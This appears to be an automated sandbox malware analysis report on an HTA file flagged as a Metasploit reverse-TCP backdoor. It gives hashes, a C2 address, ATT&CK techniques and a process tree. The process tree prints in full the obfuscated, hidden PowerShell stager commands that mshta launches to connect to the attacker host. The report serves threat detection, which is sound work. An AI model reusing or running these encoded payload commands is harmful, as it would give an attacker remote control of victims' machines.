metasploit | b59ee8a77c8d3311b14eb8850aee1e9230e1035dffe7c310529e1201bcbb74f1

General

Target

b59ee8a77c8d3311b14eb8850aee1e9230e1035dffe7c310529e1201bcbb74f1.hta
Size

7KB
MD5

b177937631436154e4bbf6f577e127ed
SHA1

0cf3505cc7a317f6ede0f2174c4b3fa3f1198d64
SHA256

b59ee8a77c8d3311b14eb8850aee1e9230e1035dffe7c310529e1201bcbb74f1
SHA512

f7a497976e8c4a37728495655b501223efb1e237ce794484fd56b7b95a69a54e1e2a3c16ec8523ddac93ce8c9fc08642588ee62e86fcb7a290d97b52efecadf5
SSDEEP

192:bn2jh1hqT24RKhkbiC5w1VyFUqzmIsMRwYXWlQ4RF6hd9d:bn2jh1hsRRROiSVyF5mH019rhd9d

Score

10^/10

metasploit backdoor execution trojan

Malware Config

Extracted

Family

metasploit

Version

windows/reverse_tcp

C2

1.14.247.162:40001

Signatures

MetaSploit
Detected malicious payload which is part of the Metasploit Framework, likely generated with msfvenom or similar.
trojan backdoor metasploit

Blocklisted process makes network request 8 IoCs

Processes:

powershell.exe

flow	pid	process
2	1276	powershell.exe
2	1276	powershell.exe
2	1276	powershell.exe
2	1276	powershell.exe
2	1276	powershell.exe
2	1276	powershell.exe
2	1276	powershell.exe
2	1276	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs
Run Powershell and hide display window.
execution

PowerShell
T1059.001

Processes:

powershell.exepowershell.exe

pid process

1544 powershell.exe
1276 powershell.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Modifies Internet Explorer settings 1 TTPs 1 IoCs
adware spyware

Modify Registry
T1112

Processes:

mshta.exe

description ioc process

Key created \REGISTRY\USER\S-1-5-21-268080393-3149932598-1824759070-1000\Software\Microsoft\Internet Explorer\Main mshta.exe
Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

powershell.exepowershell.exe

pid process

1544 powershell.exe
1276 powershell.exe
Suspicious use of AdjustPrivilegeToken 2 IoCs

Processes:

powershell.exepowershell.exe

description pid process

Token: SeDebugPrivilege 1544 powershell.exe
Token: SeDebugPrivilege 1276 powershell.exe

pid	process
1544	powershell.exe
1276	powershell.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-268080393-3149932598-1824759070-1000\Software\Microsoft\Internet Explorer\Main	mshta.exe

pid	process
1544	powershell.exe
1276	powershell.exe

description	pid	process
Token: SeDebugPrivilege	1544	powershell.exe
Token: SeDebugPrivilege	1276	powershell.exe

Suspicious use of WriteProcessMemory 8 IoCs

Processes:

mshta.exepowershell.exe

description	pid	process	target process
PID 3056 wrote to memory of 1544	3056	mshta.exe	powershell.exe
PID 3056 wrote to memory of 1544	3056	mshta.exe	powershell.exe
PID 3056 wrote to memory of 1544	3056	mshta.exe	powershell.exe
PID 3056 wrote to memory of 1544	3056	mshta.exe	powershell.exe
PID 1544 wrote to memory of 1276	1544	powershell.exe	powershell.exe
PID 1544 wrote to memory of 1276	1544	powershell.exe	powershell.exe
PID 1544 wrote to memory of 1276	1544	powershell.exe	powershell.exe
PID 1544 wrote to memory of 1276	1544	powershell.exe	powershell.exe

C:\Windows\SysWOW64\mshta.exe
C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\b59ee8a77c8d3311b14eb8850aee1e9230e1035dffe7c310529e1201bcbb74f1.hta"
1⤵
- Modifies Internet Explorer settings
- Suspicious use of WriteProcessMemory
PID:3056

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -nop -w hidden -e aQBmACgAWwBJAG4AdABQAHQAcgBdADoAOgBTAGkAegBlACAALQBlAHEAIAA0ACkAewAkAGIAPQAnAHAAbwB3AGUAcgBzAGgAZQBsAGwALgBlAHgAZQAnAH0AZQBsAHMAZQB7ACQAYgA9ACQAZQBuAHYAOgB3AGkAbgBkAGkAcgArACcAXABzAHkAcwB3AG8AdwA2ADQAXABXAGkAbgBkAG8AdwBzAFAAbwB3AGUAcgBTAGgAZQBsAGwAXAB2ADEALgAwAFwAcABvAHcAZQByAHMAaABlAGwAbAAuAGUAeABlACcAfQA7ACQAcwA9AE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEQAaQBhAGcAbgBvAHMAdABpAGMAcwAuAFAAcgBvAGMAZQBzAHMAUwB0AGEAcgB0AEkAbgBmAG8AOwAkAHMALgBGAGkAbABlAE4AYQBtAGUAPQAkAGIAOwAkAHMALgBBAHIAZwB1AG0AZQBuAHQAcwA9ACcALQBuAG8AcAAgAC0AdwAgAGgAaQBkAGQAZQBuACAALQBjACAAJgAoAFsAcwBjAHIAaQBwAHQAYgBsAG8AYwBrAF0AOgA6AGMAcgBlAGEAdABlACgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBJAE8ALgBTAHQAcgBlAGEAbQBSAGUAYQBkAGUAcgAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEkATwAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgAuAEcAegBpAHAAUwB0AHIAZQBhAG0AKAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEkATwAuAE0AZQBtAG8AcgB5AFMAdAByAGUAYQBtACgALABbAFMAeQBzAHQAZQBtAC4AQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAKAAoACcAJwBIADQAcwBJAEEARQBnAEgANgAyAFUAQwBBADcAVgBXAGIAVwAvAGkATwBCAEQAKwB2AHQATAArAGgAMgBpAEYAUgBOAEIAUwBFAGwANgB1ADIAMQBaAGEANgBSAHoAUwBBAEcAMgBoAGcAUgBRAG8AWgBkAEgASgBUAFoAegBFAGkAeABQAFQAeABDAG0AbABlAC8AdgBmAGIAeAB4AEkAeQA5ACcAJwArACcAJwA2ADIAcQA5ADUASgBhADQAbgBXAHMAVwBmAEcANAAyAGUAZQBtAGIARwBmAHgAYQA2AGcAUABGAGIAaQBsAHYATAB0AC8AVAB0AGwATgAyAHkAYwA0AEUAaABSAFMAegB3ADEAeABsAFcAbABsAEQAVQByAHoAMwB1AGwATgBEAHMAJwAnACsAJwAnADgAVQBqADQAcgA2AGgAeQB0AFYAaQBhAFAATQBJADAAWABKAHkAZgB0AEwARQBsAEkATABMAGIAZgB0AFEANABSAEsARQAxAEoAZABNAHMAbwBTAGQAVwBLADgAcgBjAHkARABVAGwAQwBEAGkANQB2AHYAeABKAFgASwBOACsAVQAwAGwAKwAxAEQAdQBPADMAbQBPADMARQBOAG0AMwBzAGgAawBRADUAUQBMAEUAbgA5AHkANgA0AGkANgBWAGIATgBXAGYARgBxAEYARABMAFgANwA2AFUASwAvAE8ARAArAHEASgAyAGUAcABkAGgAbABxAHAAbABaADUATQBLAEUAdABVADgAeABzAG8AVgA1AFgAdABGAEgAbgBpADEAVwBSAEcAMQAzAEsAZAB1AHcAbABQAHUAaQA5AHEAVQB4AHMAMQBHAGIAUgB5AG4AMgBDAGMARABzAEgAWgBQACsAawBTAEUAMwBFAHYATABjAEoAbgBuADYAeQBSAEUAWgBFAG0AOAB2AFoAVQAwAHMAeABWAFMAeQB6AEMAMQBFACsANABpAHoAMAB0AEkAbQBwAGEAcgB5AGwAdwBlAE0ARgA4AHMALwBsAFQAbgB1ADkATgBIAFcAUwB4AG8AUgBHAHEAOQBXAEoAQwBFAHIAeAB5AFMAMwBGAE8AWABwAEwAVQB1AGoAagAxAEcAUgBzAFIAZgBnAEoAewAxAH0AagBFACcAJwArACcAJwBoAG8ASABpADAAbwBGAHgATwA3ADUAawBxAGkAbABPAEcATwBzAHEAdgB3AFgATQArAHEAQQByAEEAdgBzADMAcQBxAGsANwBpAHUAQgBsAEMAMgBTAFMAaABWAEMAKwBzAEkAOQArADkAegBMAEcATgBsAHEAbABsADkAdwBOAEsAZABCAEIAYwBhAFcAQwBnAEQAZgBkADQAbQBnAC8AOABTAGQAdwB4AGUANAA4ADcAeABRAGoASABtACsAUQA4AEIAZgAxAGUAewAxAH0AcAB6AFYAVQAnACcAKwAnACcALwBLADMAcABWADYAYwBQAEoAVwBQAEIAawBBADUAKwBsAHEAeQBRAGoAbABjAFUAVAAyAGsAcgBwADAAUgA0AGwAMQBiAGQAYQBxAHgAZQBxAG8ARQBnAG0ANgA4AHsAMQB9ADUAcgBNADAAbgBuAEgAcQBMAFoAdwBzAC8AaABMACsAMABuAFAAbQA5AHIAcABSADYAbgBjADAAbQA4AFcAbABNAHoARQAyAE0ASQArAG8AVwBoAEYAVgBmAEMAZwByAHgARwBjAGsAeABxAFIAVgBpACcAJwArACcAJwBBAC8AQgBSAEwAZQA4ADIAaQBHAGMAUwBSAGcASQBzAEoATQB5AFMARwB6ACsAcABuAFUAWgBVAFAATwBrAGEARwBXAFUAZQBTAFoAQQBMAGcAVQAzAEIASwA0AGgANQA1AFUAZABuAHQAcABGAFQAeQA3ADIANABUAHkASQBBAGMAUABzAE4AWgBDADMANQBrAEMAYQBrAGsATgA2AGwAeABxAHsAMQB9ADQAWABYADYARABVAEwAbgBOAGMASgBwAFcARgBUAHUARABQAEgAVwByACcAJwArACcAJwBpAGsATQAnACcAKwAnACcAdwBJADEANQBWAFEAWABGAEsAZAAxAHMAJwAnACsAJwAnAG8ARQB6AHkAZgBsAHAALwBkADcAVwBkAE0AVQBCAGUAbgBvAGoAQwAzAHEAUAB3AGIAegAnACcAKwAnACcAOQAyADUAYgBSADYAbgBJAHMAbABjACcAJwArACcAJwBpAEMAMQBnAGMATwBXAHMAaQBFAHMAeABrADUAQgBVAGwAUwA3ADEAaQBMAEYAeABhAEYAQwBjAFgAMwA0AFIAawBEAFoAbQBEAFAASQBIAEwATgAxAEQAUQBHAEIARgBBAHUARQBJAHkAWgBnAEUAWABNADMAWgBVAGEAawA1AFIAUABTAGkARgBTAE0AUgB5AE8AUwBGAHcAMgBJADQAZwBEAEsAeAB5ADUASwBjAHsAMQB9AGoAZwBnAFgAdgBrADEAVAA0AHQAcwAyAEYASgBmAHsAMQB9AGwATwBBAHMAdQBjAG4AQgBOAHgAaABYAEYAUwBWAEMAVQAwAEUAMQBDAEcASgBjADAANgB5AC8AKwBYAEgAegB5AFYAbwA2ADEAQQA3AEkAYgBzAFEAcQBVAFcAbQB6AHsAMQB9ADIATgBrAE0AbABRAGUAaAB5AFoAQQA4AG4AVgBIAFUANAA1AEsAbwBrAEEAUgBLAHkARQBSAHcAWgBPAHkAVwBGAHIAVwAyAC8AVQBEADkAbwBsAHQAUgBHAE0AVwBTADkAbQBmAGUAOQBzAFMAZQB1ADkATgBmAHoANgA4AEIAdgBUAFoAbwAvADMALwBTAE4AYgA2AEQAegBxAHUAKwAzAFUANwBsAGgASABpAEsANgBEAHQAWABzADAAUQBLADUAMwA1AHAARgBqAFoAOQBJAFMAegBtAGwAUAB0AEcAMwBVAEgAVgBMAGQAYQBJAFcAdQBvAFYAJwAnACsAJwAnAC8ASgBlAFQAMABJAGsASABkADUANABSAGoAaABNACcAJwArACcAJwBIAFMAWgBiAHAAdABkAHoAWgBtAGwATwBsADEAMwBwADkATABXADEAbwBiAGIAYQBuAFcAdgBkAGQAUgBzAHQAaQA2AGIAKwBoAEkAUQBuACcAJwArACcAJwBJAEgAZQBFAG4AbQBEAGkASwA0AGYATABtAEQAdQBTAGgAdABHAEwAegBYADAASABqAHMAOQAnACcAKwAnACcAYQA0ADkAdQBwAHcAMwByAFoAcwBxADYAVwBzAHMASwAvAFMAbABQAG4AYwBPAFoAcQBXAG4AYQBzAHsAMQB9AGYATgAvAGcAewAxAH0AaABnADMAdgBOAC8AdQBhADYAUAB1AEoAWABYAFQAYwB5AFcAagBIAFgAagAnACcAKwAnACcAdAB1AHQASgBUAHAARgBxAEIAMgBmAFQAaQB5AEQAbgA4ACsATQBCAE4AbgBhAEIAQQBjAHIAagBvAGEAZgBtAGoAdwBLADIAdQBqAHMAdwBhAEQAawBaAGoAaQAyAGoATwBIAFEATQB0AEMANAA4AC8AWABPAFAATgB7ADEAfQBDADcAWABoADYAagBVAE4AagBPAG0AbgBRAG0AOQBYADEASwBJAFIAdgBhADkAMABkAG4AbQB0ADYAcQArAGUAUgBSADAANABsAGMAQgAyAE8AYwBHAGoAeQBVAHoAbQAzAFAATQA5ADgANABKAFoANQBhADYANgBFAE4AYQAxAFAAQgBwADIAUAA2AGMAUABaACcAJwArACcAJwBOAGUANQBmAEoASgBlAFcAcAB0AFcAbgBJAEIAdQBNAHcARgA3AFEAYgByAGkAaABEAC8AYgBNAGoAOABqADQATwBPAEIAcABBAHkAOABOAGoAZwB4AHAANAArAHsAMQB9AE8AZABjAEwAWgB5AHIASQBaADcARgArAE4ARwB4AHgATgAyAE8AQQBhAG8ANAB1AGIAagBiAFEAeABzADEAdQBvAHEALwBOAHAASgAwAEIARAAnACcAKwAnACcARQBNAGUAQgBNAGMAUQBvAHYAVABjAGYAVABhADAAKwA4AGIAZwAzAC8AVwBNAHcAOAA3AFgASgBOAGYAdQBrAG0AZQAyAGgASAB7ADEAfQA0ADEATwBWAGIAawBIAHYANgB1AHUAKwBhADUAZQAxAE4AZgB1ADUAZQBmAGoAaQA2AG0AZABCAEoAeABCACcAJwArACcAJwBOAHUAVABEADAAQwBnACsAWgBqAEcAbwB0AGwAewAnACcAKwAnACcAMQB9AGwAQgA1ADgAVwBXADMAZgB2AHkAdAA1AGsAegAwAEsAdgBkAFoASAArAGoAaABKAFEAOAB5AEEAVwB0AEEAZwBpAGsAUwAzAGUARwBMAHQAaQByADcATgBxAGQAUgBRAFYAWABnADQATABFAGsAUwBFAHcAYgBOAEYAdABwAHgAawBSAHUASQBNAGUANwBLAGgAZwBQAE4AQQBWAHIAZAB0AGcASABKAGYAagBqAHUANQBlADYAOABOAEsAcwBvAFQAJwAnACsAJwAnADQASwBWADUAegBaAFUATABKADIAYwAzAEkAQwBIAE0AdABVAGcAQwBXAG8AWABKAEEANQBFAFcATgBVAGYAbQByAG8ATwBMAFUAUgAvADAARgB0ADUAVAByADMAOQBYAG0AMgArADIAcQBpADUAcwBhAHAAcwBRAGcAQgBMAHsAMQB9AFoAdgBsAHQAcwBFAGMAOQBSAFYAVgAvAGQAMQBJAHcAUwB0AEQAUQBMAEYANwBEAGEAdgBYAHsAMQB9AEkATgB6AGwAMQBDAHsAMQB9AG8ARgBSAHUAUwA0AFUARQB6ACsAQwBjADcAVQBPAFgAMwArAG0ASgBBAFAAdQA0AEEAVwBCADEAdQBQAFIAYwB2AGkANgBBAEcAYQBCADkAUQBPADYAVQBrAHAARABOAGQANwArAFoAbAAwAFQANABPADgAbQB5AHEAMwBVAGgALwBQAE4AKwBUAFoAYgBuAHQAVgAvAHMAdgBvAGwAQQBlAGwAWABDADgAdABQAGkAagB3AHQANwBmAGUASwAzAFgAWAA2AEsAcQBRAEEANQBCADgAbwAxAEkAOQB1AEgAeABFAHMAewAxAH0ANwBIAEoAagBMADYAbwA1ADcALwAzAGQAawBJAC8AcgB5ADAAdwBjAEQATwBDAHgAbAByAGUATABmAHcAQQBnADIANQBRADQAMAB3AHMAQQBBAEEAewAwAH0AewAwAH0AJwAnACkALQBmACcAJwA9ACcAJwAsACcAJwBZACcAJwApACkAKQApACwAWwBTAHkAcwB0AGUAbQAuAEkATwAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgBNAG8AZABlAF0AOgA6AEQAZQBjAG8AbQBwAHIAZQBzAHMAKQApACkALgBSAGUAYQBkAFQAbwBFAG4AZAAoACkAKQApACcAOwAkAHMALgBVAHMAZQBTAGgAZQBsAGwARQB4AGUAYwB1AHQAZQA9ACQAZgBhAGwAcwBlADsAJABzAC4AUgBlAGQAaQByAGUAYwB0AFMAdABhAG4AZABhAHIAZABPAHUAdABwAHUAdAA9ACQAdAByAHUAZQA7ACQAcwAuAFcAaQBuAGQAbwB3AFMAdAB5AGwAZQA9ACcASABpAGQAZABlAG4AJwA7ACQAcwAuAEMAcgBlAGEAdABlAE4AbwBXAGkAbgBkAG8AdwA9ACQAdAByAHUAZQA7ACQAcAA9AFsAUwB5AHMAdABlAG0ALgBEAGkAYQBnAG4AbwBzAHQAaQBjAHMALgBQAHIAbwBjAGUAcwBzAF0AOgA6AFMAdABhAHIAdAAoACQAcwApADsA
2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1544

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"powershell.exe" -nop -w hidden -c &([scriptblock]::create((New-Object System.IO.StreamReader(New-Object System.IO.Compression.GzipStream((New-Object System.IO.MemoryStream(,[System.Convert]::FromBase64String((('H4sIAEgH62UCA7VWbW/iOBD+vtL+h2iFRNBSEl6u21Za6RzSAG2hgRQoZdHJTZzEixPTxCmle/vfbxxIy9'+'62q95Ja4nWsWfG42eembGfxa6gPFbilvLt/TtlN2yc4EhRSzw1xlWllDUrz3ulNDs'+'8Uj4r6hytViaPMI0XJyftLElILLbftQ4RKE1JdMsoSdWK8rcyDUlCDi5vvxJXKN+U0l+1DuO3mO3ENm3shkQ5QLEn9y64i6VbNWfFqFDLX76UK/OD+qJ2epdhlqplZ5MKEtU8xsoV5XtFHni1WRG13KduwlPui9qUxs1GbRyn2CcDsHZP+kSE3EvLcJnn6yREZEm8vZU0sxVSyzC1E+4iz0tImparylweMF8s/lTnu9NHWSxoRGq9WJCErxyS3FOXpLUujj1GRsRfgJ{1}jE'+'hoHi0oFxO75kqilOGOsqvwXM+qArAvs3qqk7iuBlC2SShVC+sI9+9zLGNlqll9wNKdBBcaWCgDfd4mg/8Sdwxe487xQjHm+Q8Bf1e{1}pzVU'+'/K3pV6cPJWPBkA5+lqyQjlcUT2krp0R4l1bdaqxeqoEgm68{1}5rM0nnHqLZws/hL+0nPm9rpR6nc0m8WlMzE2MI+oWhFVfCgrxGckxqRVi'+'A/BRLe82iGcSRgIsJMySGz+pnUZUPOkaGWUeSZALgU3BK4h55UdntpFTy724TyIAcPsNZC35kCakkN6lxq{1}4XX6DULnNcJpWFTuDPHWr'+'ikM'+'wI15VQXFKd1s'+'oEzyflp/d7WdMUBenojC3qPwbz'+'925bR6nIslc'+'iC1gcOWsiEsxk5BUlS71iLFxaFCcX34RkDZmDPIHLN1DQGBFAuEIyZgEXM3ZUak5RPSiFSMRyOSFw2I4gDKxy5Kc{1}jggXvk1T4ts2FJf{1}lOAsucnBNxhXFSVCU0E1CGJc06y/+XHzyVo61A7IbsQqUWmz{1}2NkMlQehyZA8nVHU45KokARKyERwZOyWFrW2/UD9oltRGMWS9mfe9sSeu9Nfz68BvTZo/3/SNb6Dzqu+3U7lhHiK6DtXs0QK535pFjZ9ISzmlPtG3UHVLdaIWuoV'+'/JeT0IkHd54RjhM'+'HSZbptdzZmlOl13p9LW1obbanWvddRsti6b+hIQn'+'IHeEnmDiK4fLmDuShtGLzX0Hjs9'+'a49upw3rZsq6WssK/SlPncOZqWnas{1}fN/g{1}hg3vN/ua6PuJXXTcyWjHXj'+'tutJTpFqB2fTiyDn8+MBNnaBAcrjoafmjwK2ujswaDkZji2jOHQMtC48/XOPN{1}C7Xh6jUNjOmnQm9X1KIRva90dnmt6q+eRR04lcB2OcGjyUzm3PM984JZ5a66ENa1PBp2P6cPZ'+'Ne5fJJeWptWnIBuMwF7QbrihD/bMj8j4OOBpAy8Njgxp4+{1}OdcLZyrIZ7F+NGxxN2OAao4ubjbQxs1uoq/NpJ0BD'+'EMeBMcQovTcfTa0+8bg3/WMw87XJNfukme2hH{1}41OVbkHv6uu+a5e1Nfu5efji6mdBJxB'+'NuTD0Cg+ZjGotl{'+'1}lB58WW3fvyt5kz0KvdZH+jhJQ8yAWtAgikS3eGLtir7NqdRQVXg4LEkSEwbNFtpxkRuIMe7KhgPNAVrdtgHJfjju5e68NKsoT'+'4KV5zZULJ2c3ICHMtUgCWoXJA5EWNUfmroOLUR/0Ft5Tr39Xm2+2qi5sapsQgBL{1}ZvltsEc9RVV/d1IwStDQLF7DavX{1}INzl1C{1}oFRuS4UEz+Cc7UOX3+mJAPu4AWB1uPRcvi6AGaB9QO6UkpDNd7+Zl0T4O8myq3Uh/PN+TZbntV/svolAelXC8tPijwt7feK3XX6KqQA5B8o1I9uHxEs{1}7HJjL6o57/3dkI/ry0wcDOCxlreLfwAg25Q40wsAAA{0}{0}')-f'=','Y')))),[System.IO.Compression.CompressionMode]::Decompress))).ReadToEnd()))
3⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1276

Network

MITRE ATT&CK Matrix ATT&CK v13

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Resource Development

Reconnaissance

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms
Filesize
7KB

MD5
5c54bbe30a6193ff03203ca17e6fccca

SHA1
42312ffae8b50ef3c3f3c681ac9b9e54ccb58788

SHA256
8baf0555d9c561f95b3b2523727a8fe10daac5cd3c3218d32b0ba8067e043bd1

SHA512
966251b0c7434c9950a6d2d7115d359afa9283f433cc96e383d9d7aaf27082a88682dc6373debcbb2c15c2f64f0da839dd3723d1aa5d6a166febf14621f10f6a

Download Submit
memory/1276-7-0x0000000005FC0000-0x0000000005FC1000-memory.dmp

Filesize
4KB

Download

Analysis

Sharing